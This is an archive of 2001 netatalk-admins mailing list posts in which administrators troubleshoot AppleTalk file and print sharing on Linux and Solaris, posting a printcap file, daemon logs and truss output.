	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA14165
	for <netatalk-admins@umich.edu>; Sat, 19 May 2001 13:10:28 -0400 (EDT)
Received: (qmail 14173 invoked by alias); 19 May 2001 17:10:44 -0000
Received: (qmail 14163 invoked by uid 0); 19 May 2001 17:10:43 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 19 May 2001 17:10:43 -0000
Subject: Re: Aliases:  Are alternate filesystems worth trying?
From: Matthew Keller <kellermg@potsdam.edu>
To: rgml@graphpoint.com
Cc: netatalk-admins@umich.edu
In-Reply-To: <200105181332.AA3451519180@graphpoint.com>
References: <200105181332.AA3451519180@graphpoint.com>
Content-Type: text/plain
X-Mailer: Evolution/0.10 (Preview Release)
Date: 19 May 2001 13:10:36 -0400
Message-Id: <990292236.1830.3.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    From a programatic design standpoint, Netatalk needs to be
    filesystem dumb for maximum portability. These problem need to be
    overcome internally. Sure, we could have a --with-xfs switch (just
    as an example) which can optimize itself for any given filesystem,
    but there still needs to be internal resolution of this issue.


On 18 May 2001 13:32:19 -0400, Richard Goldman wrote:
> Dear People,
> 
> A question, please, and your knowledge, and even guesses would 
> be much appreciated:
> 
> I know from previous discussion that Macintosh aliases become 
> "unhinged" from the files or directories they are supposed to point 
> to because the alias contains some kind of ID (did?  inode?) that 
> gets recycled by Linux.  Because of this (and the fact that the 
> absolute path of the file isn't stored in the alias), the Mac alias can 
> end up pointing somewhere else entirely.  At least such is my 
> understanding.
> 
> So here's the question:
> 
> Is it Linux itself, at some "virtual" filesystem level, that is re-cycling 
> these ID's, or is it due to the nature and operations of the ext2 
> filesystem?
> 
> Put another way, is the alias problem (re: 1.5pre6 and previous) 
> endemic to Linux, or do you think I'll have better luck if I try another 
> filesystem (managable under Linux) such as ReiserFS or ext3 or 
> ???
> 
> Thank you in advance for your time and thoughts.
> 
> Sincerely,
> Richard
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Sat May 19 23:00:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA05390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 19 May 2001 23:00:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA04084
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 19 May 2001 23:00:34 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA04061
	for netatalk.administrators-members@umich.edu; Sat, 19 May 2001 23:00:33 -0400 (EDT)
Received: from zevils.com (ool-18b85c87.dyn.optonline.net [24.184.92.135])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA04045
	for <netatalk-admins@umich.edu>; Sat, 19 May 2001 23:00:31 -0400 (EDT)
Received: from localhost ([127.0.0.1] ident=dukenukm)
	by zevils.com with esmtp (Exim 3.22 #1 (Debian))
	id 151JSS-0005ao-00
	for <netatalk-admins@umich.edu>; Sat, 19 May 2001 23:00:40 -0400
Date: Sat, 19 May 2001 23:00:40 -0400 (EDT)
From: Flint Million <dukenukm@zevils.com>
X-Sender:  <dukenukm@zevils>
To: <netatalk-admins@umich.edu>
Subject: Ethernet card problem?
Message-ID: <Pine.LNX.4.30.0105192254480.21349-100000@zevils>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

This is a strange problem:
I'm running redhat 7.0 on a laptop with following config:

* pentium II 266mhz
* 2 Cardbus slots
* 64mb ram
* netatalk 1.5pre6

I have an old 10base-T ethernet card from a long time back for the PC card
slot, and it works just fine (loads the pcnet-cs (I think) module). atalkd
starts up, locates our router, gets a zip packet, configures, etc.etc.etc.
and essentially starts ok. Then I try my brand new cardbus 100T ethernet
card (which does have a corresponding driver) and atalkd seems to "freeze"
the interface, i.e. when atalkd is running, NO traffic will go in/out of
the card! atalkd doesn't receive its zip packet, but I also can no longer
ping/telnet/ftp/etc to anything. afpd starts with no trouble, but
connections to the machine via ip address fail unless atalkd is not
running. I've tried this with three (3) different cardbus 100t ethernet
cards, all of which appear to have linux drivers (two even said Linux support
on the box, but the disk just had basic instructions for installing
pcmcia services and no custom driver) I've tried four different 10base-T
non-cardbus cards (3 from friends) and they all work without a problem, even
the one that has the built-in modem on the same card. what's up? does
atalkd not like cardbus or something??

Flint Million
dukenukm@zevils.com




From netatalk.administrators-errors@umich.edu  Mon May 21 03:48:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA19985
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 03:48:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA27030
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 03:48:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA27019
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 03:48:07 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA26972
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 03:48:06 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA21154
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 09:42:09 +0200
Message-ID: <3B08C6D2.8BBEF9DA@euc.de>
Date: Mon, 21 May 2001 09:41:56 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: some questions.
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA19985

Hi

I'm sure anyone will know the answer...


1. in AppleVolumes.default there is an entry:
   dbpath:path  
   what does it do?

2. and in afpd.conf there is an entry:
   tickleval
   is that the time a connection is times out (I don't think so) 

3. hmm
   I know that this issues is posted very often but I guess I'm
   not realy up to date. (this is for 1.5.6)
   The automatic refresh of the clients windows - is it solved
   or is there a work-around?

4. Integration of samba and netatalk
   We've solved it for us as follows:
   for each world a different volume e.g.
   1st is only mac
   2nd is only dos/win
   3rd is a shared volume only for transfer from one world into the other
       the third transfers from mac side the files to iso disallowing the
       also characters as the TradeMark and any other signs.
       from the dos side all filenames are transferred to lowercase for better
       recognition for the AppleVolumes.system. (I don't want to put
each entry
       in u&l case in that file.
  any suggestions or drawbacks?

best regards and a good start in a sunny week


-- 

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------

From netatalk.administrators-errors@umich.edu  Mon May 21 04:44:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA21351
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 04:44:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02009
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 04:43:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA02001
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 04:43:57 -0400 (EDT)
Received: from vgkfgen3.rug.ac.be (vgkfgen3.rug.ac.be [157.193.129.75])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA01988
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 04:43:56 -0400 (EDT)
Received: from localhost (sms@localhost)
	by vgkfgen3.rug.ac.be (8.9.3/8.9.3) with ESMTP id LAA06964
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 11:07:05 +0200
Date: Mon, 21 May 2001 11:07:05 +0200 (CEST)
From: Alle mails voor SMS systeem <sms@vgkfgen3.rug.ac.be>
cc: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Using samba printer with Netatalk
In-Reply-To: <3B08C6D2.8BBEF9DA@euc.de>
Message-ID: <Pine.LNX.4.21.0105211104250.6950-100000@vgkfgen3.rug.ac.be>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hey,

I have a printer on a winbox, which I can print to from the linux using
Samba. Now I would like to use netatalk to be able to print from my mac,
for which there is no driver for the Brother HL-820.

Does anyone have an idea how to do that ?

Thanks in advance,
Thomas

PS : this is my printcap :

# /etc/printcap
# APS1_BEGIN:printer1
# - don't delete start label for apsfilter printer1
# - no other printer defines between BEGIN and END LABEL
lp|Printer1 auto:\
    :lp=/dev/null:\
    :if=/etc/apsfilter/basedir/bin/apsfilter:\
    :sd=/var/spool/lpd/lp:\
    :lf=/var/spool/lpd/lp/log:\
    :af=/var/spool/lpd/lp/acct:\
    :mx#0:\
    :sh:
raw1|Printer1 raw:\
    :lp=/dev/null:\
    :if=/etc/apsfilter/basedir/bin/apsfilter:\
    :sd=/var/spool/lpd/raw1:\
    :lf=/var/spool/lpd/raw1/log:\
    :af=/var/spool/lpd/raw1/acct:\
    :mx#0:\
    :sf:\
    :sh:
# APS1_END - don't delete this


From netatalk.administrators-errors@umich.edu  Mon May 21 08:08:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA26335
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 08:08:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04514
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 08:08:58 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA04512
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 08:08:58 -0400 (EDT)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA04503
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 08:08:57 -0400 (EDT)
Received: from ns12-n67-171.de.inter.net ([213.73.67.171] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 151oUa-0003Bz-00
	for netatalk-admins@umich.edu; Mon, 21 May 2001 14:08:56 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id OAA23415
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 14:08:24 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Using samba printer with Netatalk
Date: Mon, 21 May 2001 13:59:43 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.21.0105211104250.6950-100000@vgkfgen3.rug.ac.be>
In-Reply-To: <Pine.LNX.4.21.0105211104250.6950-100000@vgkfgen3.rug.ac.be>
MIME-Version: 1.0
Message-Id: <01052114082300.22192@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id IAA26335

On Mon, 21 May 2001, Alle mails voor SMS systeem wrote:
> Hey,
> 
> I have a printer on a winbox, which I can print to from the linux using
> Samba. Now I would like to use netatalk to be able to print from my mac,
> for which there is no driver for the Brother HL-820.

Since you can print from linux there is no need for a special driver.
Ghostscript (apsfilter) does this already for you if the printer itself can't speak Postscript.

> 
> Does anyone have an idea how to do that ?
>

Make an entry for the "auto" printer, in your case "lp", in your papd.conf (probably in /etc/atalk),
and restart papd.
The printer should then show up in the Chooser.

> Thanks in advance,
> Thomas
> 
> PS : this is my printcap :
> 
> # /etc/printcap
> # APS1_BEGIN:printer1
> # - don't delete start label for apsfilter printer1
> # - no other printer defines between BEGIN and END LABEL
> lp|Printer1 auto:\
>     :lp=/dev/null:\
>     :if=/etc/apsfilter/basedir/bin/apsfilter:\
>     :sd=/var/spool/lpd/lp:\
>     :lf=/var/spool/lpd/lp/log:\
>     :af=/var/spool/lpd/lp/acct:\
>     :mx#0:\
>     :sh:
> raw1|Printer1 raw:\
>     :lp=/dev/null:\
>     :if=/etc/apsfilter/basedir/bin/apsfilter:\
>     :sd=/var/spool/lpd/raw1:\
>     :lf=/var/spool/lpd/raw1/log:\
>     :af=/var/spool/lpd/raw1/acct:\
>     :mx#0:\
>     :sf:\
>     :sh:
> # APS1_END - don't delete this

Good luck!

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Mon May 21 10:34:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01030
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 10:34:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15614
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 10:34:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15594
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 10:34:06 -0400 (EDT)
Received: from smtp.mbit.nl (tea-earl-grey-hot.mbit.nl [62.216.31.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA15569
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 10:34:05 -0400 (EDT)
Received: from proforma.mbit.nl ([195.64.95.35] helo=pro.nl)
	by smtp.mbit.nl with esmtp (Exim 3.13 #1 (Debian))
	id 151ql1-000757-00
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 16:34:04 +0200
Message-ID: <3B0943FC.7020003@pro.nl>
Date: Mon, 21 May 2001 18:36:12 +0200
From: "Jiri D. Hoogeveen" <jiri@pro.nl>
Organization: Proforma
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.16-22 i686; en-US; Preview) Gecko/20001101 Beonex/0.6-pre
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Appletalk is slow.
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello, I have a problem.
I use netatalk-1.5pre6 on RH7.0 with a 3com 3c905b NIC.

Now is the problem, that the appleshare is very slow.
Whate can I do?

Grtz, Jiri


From netatalk.administrators-errors@umich.edu  Mon May 21 10:56:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA02163
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 10:56:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13915
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 10:56:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA13874
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 10:56:23 -0400 (EDT)
Received: from typhoon.mail.pipex.net (typhoon.mail.pipex.net [158.43.128.27])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA13836
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 10:56:21 -0400 (EDT)
Received: (qmail 1324 invoked from network); 21 May 2001 14:56:19 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by smtp-1.dial.pipex.com with SMTP; 21 May 2001 14:56:19 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP id 781C61A002
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 15:51:07 +0100 (BST)
Date: Mon, 21 May 2001 15:54:47 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Zone problem?
To: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <B6DFC736.C21%tom@byte-productions.com>
Message-ID: <20010521155507-r01010600-28d61a61@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)
Sender: campbell-lange@mail.campbell-lange.net

I added a new volume to my AppleVolumes.default file and restarted
netatalk.

I can still connect via tcp/ip, but the server ("Test") isn't showing up
in the chooser now.

I've been doing some comparitive tests with an Ethershare appletalk
server running on another Linux box. Has this messed up the zone
information?

Stuff from daemon.log (I'm on debian):

afpd[12858]: Can't register Test:AFPServer@*
afpd[12858]: ASIP started on 194.159.148.169:548(1) (1.5pre6)
afpd[12858]: uam : Loading (/usr/lib/netatalk/uams_clrtxt.so)
afpd[12858]: uam: uams_clrtxt.so loaded
afpd[12858]: uam: "Cleartxt Passwrd" available
atalkd[12854]: rtmp_packet gateway 6.201 up

Thanks for any help

Rory

From netatalk.administrators-errors@umich.edu  Mon May 21 11:20:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA03300
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 11:20:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22899
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 11:20:46 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22873
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 11:20:45 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA22835
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 11:20:44 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id LAA36511
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 11:46:18 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
In-Reply-To: <3B0943FC.7020003@pro.nl>
Subject: Re: Appletalk is slow.
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Mon, 21 May 2001 11:20:42 -0400
Message-ID: <1etr8ra.e0ulnwfzws1oM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 118 days)

> Hello, I have a problem.
> I use netatalk-1.5pre6 on RH7.0 with a 3com 3c905b NIC.
> 
> Now is the problem, that the appleshare is very slow.
> Whate can I do?
> 
> Grtz, Jiri

A lot of information has to be known to answer this question.

Perhaps you could give sime time examples.

Like copy a 40 meg file and tell us how long it takes to transfer to the
server.

Plus info in the h/w, network, nics and stuff.

From netatalk.administrators-errors@umich.edu  Mon May 21 11:41:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA03899
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 11:41:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13388
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 11:41:29 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13363
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 11:41:28 -0400 (EDT)
Received: from mhub6.tc.umn.edu (mhub6.tc.umn.edu [160.94.218.243])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA13281
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 11:41:26 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub6.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Mon, 21 May 2001 10:41:23 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Mon, 21 May 2001 10:41:19 -0500
Date: Mon, 21 May 2001 10:41:19 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: Rory Campbell-Lange <rory@campbell-lange.net>
cc: netatalk-admins@umich.edu
Subject: Re: Zone problem?
In-Reply-To: <20010521155507-r01010600-28d61a61@194.159.148.247>
Message-Id: <Pine.SOL.4.20.0105211037240.8183-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 05/21/01, Rory Campbell-Lange wisely declared:

> I added a new volume to my AppleVolumes.default file and restarted
> netatalk.
> 
> I can still connect via tcp/ip, but the server ("Test") isn't showing up
> in the chooser now.
> 
> I've been doing some comparitive tests with an Ethershare appletalk
> server running on another Linux box. Has this messed up the zone
> information?
> 
> Stuff from daemon.log (I'm on debian):
> 
> afpd[12858]: Can't register Test:AFPServer@*

This is sometimes a result of missing NIC information in the atalkd.conf
file. Did that information change or get deleted in the restart? Did you
change your NIC? I just put 'fxp0' in my atalkd.conf file, and it gets
populated with the rest of the needed info when atalk starts up. It could
also be le0, eth0, or a number of other options depending on the NIC.

> afpd[12858]: ASIP started on 194.159.148.169:548(1) (1.5pre6)
> afpd[12858]: uam : Loading (/usr/lib/netatalk/uams_clrtxt.so)
> afpd[12858]: uam: uams_clrtxt.so loaded
> afpd[12858]: uam: "Cleartxt Passwrd" available
> atalkd[12854]: rtmp_packet gateway 6.201 up
> 
> Thanks for any help
> 
> Rory

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              |               GNUmusk, an 
Dept. of Geology/Geophysics |        opensource cologne
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |       Old geeks never die                    
University of Mn            |          They just revert
Minneapolis, MN 55455       |              to cleartext
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Mon May 21 13:09:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA06483
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 13:09:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA27643
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 13:09:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA27633
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 13:09:23 -0400 (EDT)
Received: from typhoon.mail.pipex.net (typhoon.mail.pipex.net [158.43.128.27])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA27532
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 13:09:21 -0400 (EDT)
Received: (qmail 18158 invoked from network); 21 May 2001 17:09:17 -0000
Received: from unknown (HELO netpilotbr.broadley.hopkins.co.uk) (62.189.170.1)
  by smtp-1.dial.pipex.com with SMTP; 21 May 2001 17:09:17 -0000
Received: from 194.159.148.247 (unknown [194.159.148.247])
	by netpilotbr.broadley.hopkins.co.uk (Postfix) with ESMTP
	id DB3EA1A002; Mon, 21 May 2001 18:05:28 +0100 (BST)
Date: Mon, 21 May 2001 18:09:21 +0000
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Re: Zone problem?
To: Karen A Swanberg <swanberg@tc.umn.edu>
Cc: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <Pine.SOL.4.20.0105211037240.8183-100000@garnet.tc.umn.edu>
Message-ID: <20010521180929-r01010600-358a3cdb@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

On 21/5/01, swanberg@tc.umn.edu (Karen A Swanberg) wrote:

> on 05/21/01, Rory Campbell-Lange wisely declared:
> 
> > I added a new volume to my AppleVolumes.default file and
> > restarted netatalk.
> > 
> > I can still connect via tcp/ip, but the server ("Test") isn't
> > showing up in the chooser now.
...
> > afpd[12858]: Can't register Test:AFPServer@*
> 
> This is sometimes a result of missing NIC information in the
> atalkd.conf file. Did that information change or get deleted in
> the restart? Did you change your NIC? I just put 'fxp0' in my
> atalkd.conf file, and it gets populated with the rest of the
> needed info when atalk starts up. It could also be le0, eth0,
> or a number of other options depending on the NIC.

I've been running without anything in atalkd.conf!
My interface is eth0. I'll try putting that in; although I had to
restart the server to do a hardware upgrade and appletalk came up again.
I think the problem may be with the appletalk router.

Thanks for your help.

Rory

From netatalk.administrators-errors@umich.edu  Mon May 21 13:59:49 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07854
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 21 May 2001 13:59:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06770
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 21 May 2001 13:59:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06763
	for netatalk.administrators-members@umich.edu; Mon, 21 May 2001 13:59:39 -0400 (EDT)
Received: from toccata.netconnect.net (toccata.netconnect.net [152.156.2.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA06751
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 13:59:38 -0400 (EDT)
Received: from netconnect.net (hosta.netconnect.net [152.156.2.1])
	by toccata.netconnect.net (8.11.0/8.11.0) with ESMTP id f4LHwqH12746
	for <netatalk-admins@umich.edu>; Mon, 21 May 2001 10:58:54 -0700 (PDT)
Message-ID: <3B095796.BE54265@netconnect.net>
Date: Mon, 21 May 2001 11:10:36 -0700
From: Greg <greg@netconnect.net>
Reply-To: greg@netconnect.net
Organization: Netconnect Services Group
X-Mailer: Mozilla 4.73 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: REPOST: Problems running on Solaris 8 Intel
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Repost of the below, no replies received.... anyone out there?


Trying to run 1.4b2+asun2.1.4 on Solaris 8 10/00 for the X86.
Seemed to build okay, made a -DPASSWD change, and used TCPWRAPPERS
but no crypt or kerb.

I'm able to build and install the progs and the driver, but when
atalkd runs, I get the following:

AppleTalk not up! Child exited with 1.

I did a truss on atalkd and saw:
710:    read(4, " T Z i f\0\0\0\0\0\0\0\0".., 8192)     = 1000
710:    close(4)                                        = 0
710:    getpid()                                        = 710 [709]
710:    putmsg(3, 0x08046654, 0x08046648, 0)            = 0
710:    open("/var/run/syslog_door", O_RDONLY)          = 4
710:    door_info(4, 0x080465E4)                        = 0
710:    getpid()                                        = 710 [709]
710:    door_call(4, 0x080465CC)                        = 0
710:    close(4)                                        = 0
710:    open("/dev/iprb", O_RDWR)                       = 4
710:    ioctl(4, I_PUSH, "ddp")                         = 0
710:    ioctl(4, 0x80047336, 0x08046DD8)                Err#22 EINVAL
710:    fxstat(2, 3, 0x08046B7C)                        = 0
710:    time()                                          = 990220688
710:    getpid()                                        = 710 [709]
